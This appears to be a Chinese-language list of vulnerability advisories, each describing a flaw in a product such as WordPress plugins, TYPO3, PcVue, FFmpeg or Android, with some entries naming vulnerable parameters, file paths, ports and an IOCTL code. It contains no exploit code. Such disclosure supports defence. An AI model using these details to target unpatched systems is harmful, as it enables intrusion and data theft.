Metropolis Technologies OfficeWatch是一款呼叫计费系统。Metropolis Technologies OfficeWatch提供的WEB服务器监听80端口，存在一个目录遍历攻击，攻击者提交"../"序列字符可绕过WEB ROOT限制，以WEB权限上下文查看任意文件。
HTC提供的HtcLoggers.apk应用程序用于设计设备数据。HtcLoggers.apk应用程序存在安全漏洞，允许攻击者获得敏感信息。通过诱使用户安装拥有INTERNET ('android.permission.INTERNET')权限的恶意应用程序，并在设备上运行，可获得大量的日志信息。包括电话号码，GPS, SMS, EMAIL地址等信息。
Easy Hosting Control Panel是一款Web空间控制面板程序。Easy Hosting Control Panel存在设计错误，攻击者提交特制的请求可在应用程序上增加任意FTP账户。
多个Cybele软件公司提供的产品存在任意文件获取和目录遍历漏洞，这些漏洞影响ThinVNC，ThinRDP和ThinVNC Access Point 2.0，未验证远程攻击者可以提交恶意请求，获得WEB服务器ROOT目录之外的文件。
Ashampoo Burning Studio Elements是一款高效刻录软件产品。 当解析.ashprj项目文件格式时Ashampoo Burning Studio Elements不正确处理过滤用户提供的输入，应用程序可触发基于堆的溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
TYPO3是一个免费开源的内容管理系统。TTYPO3 TGMV Gallery由于未能充分限制用户在SQL查询中提供的数据容易产生SQL注入漏洞。利用这个问题可能会危及应用程序，或利用底层数据库中潜在漏洞访问或修改数据。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin由于没有充分过滤用户提供的数据容易产生多个HTML注入漏洞。攻击者可以利用这个问题在用户的浏览器中执行任意脚本代码。这可以让攻击者窃取基于Cookie的身份验证凭据，并发动其他攻击。
IBM Tivoli Monitoring用于提供基本系统资源的监控特性，以检测系统瓶颈和潜在的问题。Eclipse帮助服务器存在未明错误，可被用于伪造和钓鱼攻击。
IBM Tivoli Monitoring用于提供基本系统资源的监控特性，以检测系统瓶颈和潜在的问题。IBM Tivoli Monitoring Eclipse帮助服务器存在跨站脚本漏洞，由于部分传递给Eclipse帮助服务器的输入在返回用户之前缺少过滤，可被用于执行任意HTML和脚本代码。
Zope是一款开放源代码的WEB应用服务器。Zope和Plone存在一个未明错误，攻击者可以向服务器提交特制请求执行任意命令。
GameServers GSC是一款主要用于游戏的即时聊天服务器。服务器中消息字符串前缀为32位带符号整数，用以表示其长度，如果修改长度值超过实际字符串长度，发送此类字符串可使服务器崩溃。
GameServers GSC是一款主要用于游戏的即时聊天服务器。通过嗅探聊天客户端通信，发送NICK命令，并把nickname切换到网络中任意离线状态的用户，就可以绕过验证，加入聊天服务器。
NCSS 2007是一款统计分析软件。NCSS 2007不正确处理S0文件，构建恶意文件，诱使用户解析，可破坏内存，使应用程序崩溃。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Web Minimalist Theme index.php存在跨站脚本漏洞，由于输入验证错误，导致跨站脚本攻击。远程攻击者可利用此漏洞可在受影响站点的未知用户浏览器上执行任意脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Atahualpa Theme存在跨站脚本漏洞，由于没有合理地验证用户输入的数据，攻击者可利用此漏洞在受影响站点的未知用户浏览器中执行任意代码，或窃取基于cookie的凭据及发起其他攻击。
TYPO3是一个免费开源的内容管理系统。TYPO3 dev/null的robots.txt的组件由于未能充分限制用户在SQL查询中提供的数据容易产生SQL注入漏洞。利用这个问题可能会危及应用程序，或利用底层数据库中潜在漏洞访问或修改数据。
TYPO3是一个免费开源的内容管理系统。TYPO3 DAM Frontend由于未能充分限制用户在SQL查询中提供的数据容易产生SQL注入漏洞。利用这个问题可能会危及应用程序，或利用底层数据库中潜在漏洞访问或修改数据。
Traq由于未能充分过滤用户输入容易产生多个跨站点脚本漏洞，攻击者利用这些漏洞可能窃取基于Cookie的身份验证凭据。
Traq由于未能充分过滤用户输入容易产生多个SQL注入漏洞。攻击者利用这些漏洞可利用底层数据库中潜在漏洞访问或修改数据。
TYPO3是一个免费开源的内容管理系统。TYPO3 Gridelelements存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意HTML和脚本代码，窃取基于Cookie的身份验证凭据。
TYPO3是一个免费开源的内容管理系统。TYPO3 Frontend Shibboleth Protection存在验证绕过漏洞，攻击者可以利用漏洞获得权限，访问受影响的应用程序。
TYPO3是一个免费开源的内容管理系统。TYPO3 Indexed Search Statistics存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意HTML和脚本代码，窃取基于Cookie的身份验证凭据。
Barracuda Backup Service是一款网络备份解决方案。Barracudas Backup v2.x存在多个持久型输入验证漏洞，本地低特权用户账户或远程攻击者(利用用户交互)可实现/注入恶意持久型脚本代码(Java/HTML)，此漏洞可导致敏感信息泄露，访问内网可用服务器和操作部分内容。受影响模块：[+] E-Mail Message Browser - Filter[+] Expressions[+] Exclsuion Rules图片:../ive1.png../ive2.png../ive3.png../ive4.png
Mozilla Firefox是Mozilla所发布的WEB浏览器。Mark Kaplan报告当使用超大JavaScript RegExp表达式时存在一个整数下溢漏洞，攻击者可以构建恶意链接，诱使用户解析，使应用程序崩溃。
Citrix Provisioning Services能够创建一套使用流技术传输物理和虚拟服务器的镜像，从而降低存储需求，实现快速、一致而可靠的应用部署。Citrix Provisioning Services存在一个未明安全漏洞，允许执行任意代码，攻击者向Provisioning Services服务器发送特制报文可触发此漏洞。
FreeBSD是一款基于BSD的开源操作系统。当处理套接字长度时"uipc_bind()"函数(sys/kern/uipc_usrreq.c) 存在一个边界错误，可被利用触发缓冲区溢出。成功利用漏洞允许以"root"特权执行任意代码。
Norman Security Suite是一款包含杀毒、防火墙、反垃圾邮件、防恶意程序等功能的安全套件。驱动"nprosec.sys"存在一个内核指针引用问题，此漏洞允许能本地访问系统的攻击者提升特权，获得SYSTEM特权。
Jarida存在SQL注入漏洞，由于程序在用于SQL查询之前对用户提供的数据未能充分过滤，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
rpm-python存在远程内存破坏漏洞，攻击者可以利用漏洞执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Mingle Forum存在SQL注入漏洞，由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Barracuda IM Firewall是一种针对即时通信流量的进行检测防护工具。Barracuda IM Firewall存在跨站脚本漏洞，由于传递到SMTP模块的某些未指明输入，在被返回给用户之前未能正确地过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
JAKCMS存在安全漏洞，由于js/editor/plugins/jakadminexplorer/php/action.php脚本的错误导致程序未能正确验证上传的文件，攻击者可以利用漏洞通过上传PHP文件执行任意PHP代码。
JAKCMS存在安全漏洞，由于js/editor/plugins/jakadminexplorer/index.php脚本的错误导致程序未能正确验证会话，攻击者可以利用漏洞绕过认证机制并获得一些权限。
Atlassian JIRA是一款基于J2EE技术的项目问题跟踪以及管理软件。Atlassian JIRA links和labels存在脚本注入漏洞，由于某些有关links和labels的未明输入被使用前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码。
Atlassian JIRA是一款基于J2EE技术的项目问题跟踪以及管理软件。Atlassian JIRA存在跨站脚本漏洞，由于某些关于JIRA管理界面的未明输入管理JIRA Bamboo插件设置时，在被返回给用户之前未能正确地过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Flynax Classifieds是一款多功能分类广告脚本。Flynax Classifieds产品存在SQL注入漏洞，由于通过"f[city]"参数传递到dealers.html的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
ServersCheck Monitoring Software是一款基于浏览器的网络监测工具，它能监测、报告，并对系统的性能和可靠性问题给出预警。ServersCheck Monitoring Software存在安全漏洞，攻击者可以通过供应商电话号码发送任意SMS消息。
ServersCheck Monitoring Software是一款基于浏览器的网络监测工具，它能监测、报告，并对系统的性能和可靠性问题给出预警。ServersCheck Monitoring Software存在多个本地文件包含漏洞，远程攻击者可以利用漏洞获得敏感信息。
ServersCheck Monitoring Software是一款基于浏览器的网络监测工具，它能监测、报告，并对系统的性能和可靠性问题给出预警。ServersCheck Monitoring Software存在跨站请求伪造漏洞，远程攻击者可以利用漏洞获得敏感信息，劫持用户会话等。
ServersCheck Monitoring Software是一款基于浏览器的网络监测工具，它能监测、报告，并对系统的性能和可靠性问题给出预警。ServersCheck Monitoring Software存在多个跨站脚本漏洞，远程攻击者可以利用漏洞获得敏感信息，劫持用户会话等。
ServersCheck Monitoring Software是一款基于浏览器的网络监测工具，它能监测、报告，并对系统的性能和可靠性问题给出预警。ServersCheck Monitoring Software存在多个HTML注入漏洞，远程攻击者可以利用漏洞获得敏感信息，劫持用户会话等。
PcVue是一款ARC Informatique推出的数据采集控制系统软件。aipgctl.ocx DeletePage方法存在数组溢出问题。
PcVue是一款ARC Informatique推出的数据采集控制系统软件。PcVue控件存在安全漏洞，SVUIGrd.ocx中的Save/LoadObject方法可用于破坏本地文件。
PcVue是一款ARC Informatique推出的数据采集控制系统软件。PcVue控件存在安全漏洞，通过SVUIGrd.ocx中的GetExtendedColor方法可向任意内存位置写dword。
PcVue是一款ARC Informatique推出的数据采集控制系统软件。SVUIGrd.ocx控件中的Save/LoadObject方法直接以函数指针使用，存在任意代码执行漏洞。
ImpressPages是一个开放源码的内容管理系统。ImpressPages CMS存在一个未明的安全漏洞，允许远程攻击者可以应用程序上下文执行任意代码。
Adobe ColdFusion是一款网络应用服务器开发环境。Adobe ColdFusion存在多个输入验证问题，攻击者可以利用漏洞构建恶意链接，诱使用户解析，可在目标用户浏览器上执行任意脚本代码，可窃取COOKIE等信息。
Dolphin Browser HD是一款Android平台下的浏览器。Dolphin Browser HD存在安全漏洞，允许恶意用户绕过部分安全功能。应用程序URL装载存在一个错误，可被利用绕过沙盒，并向任意域注入和执行任意脚本代码。要成功利用此漏洞需要安装了以应用程序并使用。
Cherokee是一款Web服务器软件。Cherokee存在不明漏洞，攻击者可以利用这些漏洞执行任意代码，达到攻击的目的。
APC PowerChute是一款针对企业具体需求推出的软件产品，能够实现IT设备的管理风险的有效降低。APC PowerChute Network Shutdown由于未能对用户提供的输入进行充分限制，攻击者可以利用这些问题在用户不知情的情况下通过在浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，以及影响网页内容服务、缓存。这可能有助于诱导用户进行各种攻击。
APC PowerChute是一款针对企业具体需求推出的软件产品，能够实现IT设备的管理风险的有效降低。APC PowerChute Network Shutdown由于未能对用户提供的输入进行充分限制，攻击者可以利用漏洞进行进一步攻击，如跨站脚本攻击，并可能获得敏感信息。
GMER是一款用于检测和删除rootkits的软件。GMER没有正确检查所有IOCTL的输入地址，'0x7201c008' IOCTL调用可提升特权。
Sterling Trader是一款美股交易软件。Sterling Trader存在远程整数溢出漏洞，攻击者可以利用应用程序上下文执行任意代码。上述攻击未执行成功也可以导致应用程序崩溃、拒绝服务。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件AdRotate存在SQL注入漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Link Library存在SQL注入漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据。
PHPCMS是一款内容管理系统（CMS）。PHPCMS使用sys_auth函数加解密cookie信息，系统中多个文件直接从cookie中获取变量进入程序流程。由于sys_auth函数在设计和使用过程中存在缺陷，导致注册用户可以伪造cookie数据，触发SQL注入等多个二次攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件CevherShare存在SQL注入漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据。
AdaptCMS存在安全漏洞，攻击者可以利用漏洞获得潜在的敏感信息。
AdaptCMS存在跨站脚本漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码、窃取基于Cookie的身份验证凭据，并发动其他攻击。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。IBM WebSphere Application Server存在跨站请求伪造漏洞，攻击者构建恶意链接，诱使登录用户点击解析，可以登录用户上下文执行管理操作。
Serendipity是一款PHP驱动的Weblog应用程序。Serendipity Freetag-plugin存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
PunBB是一款基于PHP的论坛程序。PunBB存在跨站脚本漏洞，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码、窃取基于Cookie的身份验证凭据，并发动其他攻击。
SonicWALL Viewpoint是一款基于web的报告工具。SonicWALL Viewpoint存在HTML注入漏洞，攻击者可以利用漏洞在受影响站点上下文中运行HTML和脚本代码、窃取基于Cookie的身份验证凭据或控制网站的呈现方式，并发动其他攻击。
SonicWALL Viewpoint是一款基于web的报告工具。SonicWALL Viewpoint存在跨站脚本漏洞，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码、窃取基于Cookie的身份验证凭据，并发动其他攻击。
Linux Kernel是开源操作系统Linux所使用的内核。Linux Kernel Alpha容易产生内存损坏和信息泄露漏洞，影响某些特定命令。成功的攻击可能允许攻击者破坏内存，获得提升的权限，导致拒绝服务条件，并获得敏感信息。
Awstats是一款基于Perl的WEB日志分析工具。AWStats存在跨站脚本漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Freefloat FTP Server是一款FTP服务程序。Freefloat FTP Server存在缓冲区溢出漏洞。远程攻击者可以利用漏洞在受影响的应用程序上下文执行任意代码。上述攻击未执行成功也可以导致系统拒绝服务。
FBC-Market是一款可以用于在网站上运行在线市场或分类广告的应用程序。FBC-Market存在HTML注入漏洞。攻击者可以利用漏洞在web服务器进程上下文执行HTML和脚本代码，窃取基于Cookie的身份验证凭据或控制网站如何呈现给用户。
FBC-Market是一款可以用于在网站上运行在线市场或分类广告的应用程序。FBC-Market存在跨站脚本漏洞。攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
PHP是一款流行的编程语言。当调用的is_a()函数其第一个参数不是对象时，会触发__autoload()，使用__autoload()实现可用于包含任意文件而不用被进行任何检查。
Pantech Link是一款支持2.4" LCD屏，全键盘的移动电话。Pantech Link/P7040P浏览器SSL证书解析包含一个漏洞，成因是由于没有正确检查链中证书的"Basic Constraints"参数。使用合法最终实体证书签名一个新证书，攻击者可以获得任意域的"合法"证书。如：-TrustedCA--somedomain.com (legitimate certificate)---api.someotherdomain.com (signed by somedomain.com)使用这种技术，任何使用api.someotherdomain.com证书的SSL通信可被透明的截获。
NLnet Labs ldns是一款DNS相关库。当处理未知RR类型("\#")数据时，rr.c中的"ldns_rr_new_frm_str_internal()"函数存在边界错误，攻击者构建恶意请求，向使用此库的应用程序提供特制的DNS资源记录，可触发基于堆的缓冲区溢出。
CellCtrl是一款报表打印控件。CellCtrl的YRWXls.ocx ActiveX(BD9E5104-2F20-4A9F-AB14-82D558FF374E 5.3.7.321)，提供的Login方法存在漏洞，构建恶意WEB页，诱使用户访问，可导致任意代码执行。
KingCMS是一款基于WEB技术的内容管理系统，其后台使用的是FCKeditor编辑器。KingCMS存在文件上传漏洞，未对用户建立目录和上传文件进行限制，致使攻击者可建立例如1.asp文件夹，再上传特定构造的网站后门文件，直接获得网站的管理权限。
联软安全接入管理系统存在未对用户上传的文件类型进行合法性验证的上传页面，用户可通过上传脚本木马获取服务器完全控制权限。
联软安全接入管理系统未对用户输入的字符进行验证，致使攻击者可通过跨站脚本漏洞窃取用户与服务器web交互的权限。
联软安全接入管理系统的文件下载模块未对登录用户输入的参数进行合法验证，导致用户可以读取磁盘中任意文件。
Fortinet FortiAnalyzer是一款专用的硬件设备来实现对FortiGate和第三方产品进行实时的网络日志、分析和报表等功能。FortiNet FortiAnalyzer存在安全漏洞，攻击者可以利用漏洞构建恶意链接，诱使用户解析，在目标用户浏览器上执行任意HTML和脚本代码。
Fortinet FortiAnalyzer是一款专用的硬件设备来实现对FortiGate和第三方产品进行实时的网络日志、分析和报表等功能。FortiNet FortiAnalyzer存在安全漏洞，攻击者可以利用漏洞构建恶意链接，诱使用户解析，在目标用户浏览器上执行任意HTML和脚本代码。
Ubuntu Linux是一款基于linux内核的发行版本。Ubuntu Linux 'apt-key'程序存在安全绕过问题，攻击者可以利用漏洞把恶意包安装在受此漏洞影响的电脑上，造成任意代码执行。
Linux是一款开放源代码的操作系统。默认bonding仅分配16个序列，如果设备有超过16个接收队列，会超过bonding设备的tx队列索引，至少会导致拒绝服务攻击，如不能处理内核页面请求。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。"av_probe_input_buffer()"函数(libavformat/utils.c)中存在内存分配错误，攻击者可以利用漏洞导致内存破坏。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。"decode_mb_i()"函数(libavcodec/cavsdec.c)中存在符号性错误，攻击者可以利用漏洞诱使用户打开特制的 Chinese AVS (CAVS)文件。
Card sharj存在多个SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前未能经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。"asfrtp_parse_packet()"函数(libavformat/rtpdec_asf.c)中存在错误，攻击者可以利用漏洞通过RTP发送特制的ASF数据包导致内存损坏。
Zyncro Social Network Message Menu存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前未能经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
ASP Basit Haber Script存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前未能经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Ay Computer多个产品中存在多个SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前未能经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Gerry GuestBook是一款基于PHP的留言簿。Gerry GuestBook存在跨站脚本漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Gerd Tentler Simple Forum存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress Relocate上传插件存在远程文件包含漏洞，当调用GET AJAX请求处理文件夹时，由于输入验证错误，'ru_folder'参数的用户输入可包含任意文件，远程攻击者可利用此漏洞在受影响系统上执行任意文件。
pNetPower是北京三维力控科技有限公司推出的一款电力版监控组态软件。2010年5月20日三维力控公司根据国外漏洞研究者Dillon Beresford的研究成果发布了PNETPower 6存在的一个堆缓冲区溢出漏洞补丁，http://www.sunwayland.com.cn/news_info_.asp?Nid=3593。不过在该补丁中，由于对关键参数未进行SEH保护，有可能诱发Angelserver.exe进程崩溃，导致拒绝服务。攻击者可以利用漏洞发起远程攻击。
libpng是多种应用程序所使用的解析PNG图形格式的函数库。libpng在打开畸形PNG文件时在实现上存在除零意外情况，远程攻击者可利用此漏洞导致使用受影响库的应用程序崩溃，拒绝服务合法用户。在libpng遇到畸形cHRM块时"png_handle_cHRM()"函数(libpng/pngrutil.c)会执行除零操作，通过特制的PNG文件造成应用崩溃。
NX 是NoMachine公司的一项新的远程桌面地技术。NX Server存在本地权限提升漏洞，攻击者可以利用漏洞通过超级用户权限读取任意文件。
Authenex ASAS Server存在SQL注入漏洞，由于程序在被用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
Drupal是一款开源的内容管理平台。Hostmaster（Aegir）为Drupal网站管理提供了一个系统。Hostmaster (Aegir) Theme For Drupal存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞，在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Views Bulk Operations是Drupal中所使用的用于在节点更改视图的第三方模块。Drupal Views Bulk Operations存在HTML注入漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞，在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据或控制的网站呈现方式。
MPlayer是一款流行的媒体播放程序。Windows平台下MPlayer存在整数溢出漏洞。
iScripts MultiCart是一款基于PHP的WEB应用程序。 iScripts MultiCart存在SQL注入漏洞，由于在refund_request.php的代码中未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞。攻击者可以利用这个漏洞危及应用程序的安全，访问或修改数据，或间接的利用底层数据库中潜在的漏洞。
AVCon是一款视频会议系统，通过IE方式登录视频会议。AVCon存在DEP绕过漏洞，攻击者可以使用一个脚本文件通过DEP绕过OptIn/OptOut模块执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
MetaServer RT是实时的数据处理和计算软件。MetaServer RT在处理发送到TCP端口2194的恶意报文时存在拒绝服务漏洞，可被远程攻击者利用造成应用程序崩溃。通过发送到2189、2192、2194的特制报文和不断的重复连接，可造成堆溢出。使用了"MESSA"和"ROSCO"命令。
CMS通常是指用在网站内容管理上的程序，可以用任何能生成网页的程序语言开发，但是通常是通过浏览器使用，因此用PHP等WEB开发语言开发的比较多。724CM由于未能充分审查用户输入，攻击者可以利用这个漏洞获得潜在的敏感信息，并在Web服务器进程的上下文中执行任意的恶意脚本。
Redlab是一家为新理念提供销售途径的网站，它以交互式页面著称。Redlab CMS中存在SQL注入漏洞。由于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可利用这些漏洞远程执行代码或导致拒绝服务。
Web Solutions是一种使用PHP进行快速建站的应用平台。Web Solutions Wcs2u的PHP代码中由于未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞的产生，允许远程攻击者利用此漏洞执行任意代码。
Dojo是一个强大的面向对象JavaScript框架。Dojo Toolkit存在脚本重定向及跨站脚本漏洞，可导致用户泄露敏感信息。WebSphere Commerce版本6和版本7使用受此漏洞影响的DOJO，也受此漏洞影响。
Skype (ioS)是一款用于IOS平台上的即时聊天程序。iPhone和iPod平台下的Skype "Chat Message"窗口存在一个跨站脚本漏洞，Skype使用本地存储HTML文件来显示来自其他Skype用户的聊天消息，但是没有对传入用户"Full Name"进行正确编码，允许攻击者构建恶意JavaScript代码，当目标用户查看信息时运行。可用于获得敏感信息。
Opera Mobile是一款用于在智能手机和个人数码助理上浏览网页的网络浏览器。Opera Mobile缓存文件(metadata和data)使用不安全文件权限：-缓存metadata文件(dcache4.url)全局可读和写。-缓存数据自身全局可读可写因此没有正确权限的第三方应用程序可访问Opera Mobile缓存，突破Android沙盒模型。攻击者可以利用此漏洞获得敏感信息或破坏WEB缓存文件。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android存在安全绕过漏洞，本地攻击者可以利用安全绕过漏洞，以任意权限无需用户授权在设备上安装应用程序。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android存在本地特权提升漏洞，允许非特权应用程序获得root访问。
Oboinus是一款发布图片背景设置工具。记录消息存在一个shell注入漏洞，可通过os.system()执行任意命令。
NETGEAR Wireless Cable Modem Gateway是一款无线电缆调制解调器网关。NETGEAR Wireless Cable Modem Gateway存在跨站请求伪造漏洞，利用这些漏洞允许远程攻击者执行管理员操作。
AmmSoft ScriptFTP是一款FTP客户端软件。AmmSoft ScriptFTP处理GETLIST或GETFILE FTP命令时存在安全漏洞，攻击者设置恶意FTP服务器，利用此漏洞可使应用程序崩溃或以ScriptFTP客户端用户执行任意代码。
Adobe Flash Player是一款Flash文件处理程序。Adobe Flash Player存在一个未公开细节的0DAY漏洞，攻击者可以利用漏洞以应用程序上下文执行任意代码。
Axis Commerce (E-Commerce System)是一个基于SOAP引擎开发的电子商务平台，提供创建服务器端、客户端和网关SOAP操作的基本框架。在Axis Commerce (E-Commerce System)中，由于程序未对用户提交的搜索内容做任何处理而直接带入查询，攻击者可以利用该程序进行跨站攻击。
ServiceDesk Plus是基于网络的帮助平台软件，帮助用户从单一点管理所有的通信。ServiceDesk Plus存在存储型跨站脚本漏洞，攻击者通过特定的参数可以在用户的浏览器中执行恶意HTML代码。HTML语言很容易实现这种攻击。
PunBB是一款基于PHP的论坛程序。PunBB存在URL跨站脚本漏洞，由于通过URL传递到例如login.php，misc.php，delete.php，edit.php和profile.php (当"csrf_token"为invalid时)的输入被返回用户前在include/functions.php中未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
SolarFTP是易于使用的个人FTP服务器。 在Solarftp v2.1.2 PASV中，由于程序未对写入缓冲区的字符串长度做校验，远程攻击者可能利用此漏洞执行任意代码或导致拒绝服务。
Toko Lite CMS存在跨站脚本漏洞，通过"path"和"currPath" POST参数传递到EditNavBar.php的输入在LoadConfig.php中被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意代码。
PXE(preboot execute environment)是由Intel公司开发的最新技术，工作于Client/Server的网络模式。PXE服务程序对用户提交的输入缺少正确处理，远程攻击者可以利用这个漏洞对PXE服务进行缓冲区溢出攻击，可能以PXE服务进程权限在系统上执行任意指令。
phpMyRealty是一款房地产软件。在phpMyRealty的PHP代码中由于未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞的产生，允许远程攻击者利用此漏洞执行任意代码。
Network Tracker是一款免费的基于Web的网络管理工具，通过它可以跟踪和管理网络。 该应用程序包含一个选项，它允许任意用户创建一个用户账户。如果启用此选项，攻击者就可以通过该应用程引起跨站攻击。
Ayco Resim Galeri是一款学校管理系统。Ayco Resim Galeri存在SQL注入漏洞，通过"catid"参数传递到default.asp的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
D.R. Software Audio Converter是用于将音视频文件转换为WMA、AIFF、Vorbis OGG、Wave、MP3等格式的工具。D.R. Software Audio Converter不正确处理代码，会使攻击者通过DEP绕道利用构建恶意文件，诱使用户解析，可导致以应用程序权限执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Filedownload存在文件泄露漏洞，传递到wp-content/plugins/filedownload/download.php中"path"参数的输入在被用于下载文件前未能正确验证，攻击者可以通过目录遍历攻击泄露任意文件的内容。
WordPress是一种使用PHP语言开发的博客平台。在WP Forum插件的PHP代码中由于未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞的产生，允许远程攻击者利用此漏洞执行任意代码。
KnProxy是一个轻量级的基于PHP开发的Web代理。KnProxy存在安全漏洞，由于应用程序不能正确加密URL，并可能导致以明文形式发送特定URL。
net4visions存在多个跨站点脚本漏洞，由于程序未能充分过滤用户提供的数据，攻击者可利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Aspgwy Access存在跨站脚本漏洞，由于程序未能正确过滤用户输入，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。在WP DS FAQ插件的PHP代码中由于未对用户提交的内容做任何处理而直接带入SQL查询导致SQL注入漏洞的产生，允许远程攻击者利用此漏洞执行任意代码。
Apple Mac OS X是一款商业性质的操作系统。Apple Mac OS X Lion Directory Services存在安全绕过漏洞，本地攻击者可以利用漏洞获取敏感信息或更改计算机上其他用户的密码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Disclosure Policy存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Livesig存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件AllWebMenus存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WPEasyStats存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
EtherApe是一款图形化网络监视器。EtherApe存在空指针解除引用拒绝服务漏洞，攻击者可以利用漏洞使应用程序崩溃，造成拒绝服务条件。
MetaServer RT存在安全漏洞，攻击者可以利用漏洞进行拒绝服务攻击。
MetaServer RT存在安全漏洞。通过与2189端口的多个数据包的连接中断，和随后的重新连接，导致堆溢出。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件TheCartPress存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Annonces存在远程文件包含漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞控制应用程序和底层系统。
EViews是一款计量经济学和统计分析软件。EViews在处理PRG文件时存在堆溢出/损坏漏洞。攻击者可以利用漏洞执行任意代码。
